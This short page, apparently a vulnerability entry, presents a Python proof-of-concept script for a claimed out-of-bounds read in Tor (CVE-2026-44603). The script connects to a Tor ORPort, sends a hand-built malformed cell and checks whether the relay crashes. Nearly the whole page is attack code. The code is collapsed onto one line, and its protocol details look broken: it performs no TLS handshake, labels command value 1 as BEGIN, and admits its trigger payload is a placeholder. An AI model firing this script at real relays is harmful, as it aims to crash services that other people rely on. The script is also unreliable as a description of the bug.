CVE-2026-44603 Tor 越界读取漏洞

import socket import struct # Conceptual Proof of Concept for CVE-2026-44603 # Demonstrates sending a malformed cell structure to Tor # Note: Actual exploitation requires precise protocol manipulation. def exploit(target_ip, target_port): try: # Establish TCP connection to Tor ORPort s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) # Construct a malformed Cell # Tor Cell structure: Circuit ID (2/4 bytes) + Command (1 byte) + Payload (Length specified) # To trigger OOB read, we manipulate the parsing of the BEGIN cell. circuit_id = 0x00000000 # Example Circuit ID cmd_begin = 1 # BEGIN command # Malformed payload designed to trigger the off-by-one read # The exact payload depends on the specific parsing logic of Tor < 0.4.9.7 payload = b'\x00' * 509 # Example length near boundary # Pack the header (assuming version 3 or 4 link protocol) # This is a generic template packet = struct.pack('!IB', circuit_id, cmd_begin) + payload s.send(packet) print(f"[+] Malformed packet sent to {target_ip}:{target_port}") response = s.recv(1024) if not response: print("[-] Connection closed (Possible Crash)") else: print("[+] Received response") s.close() except Exception as e: print(f"Error: {e}") # Usage: exploit("127.0.0.1", 9001)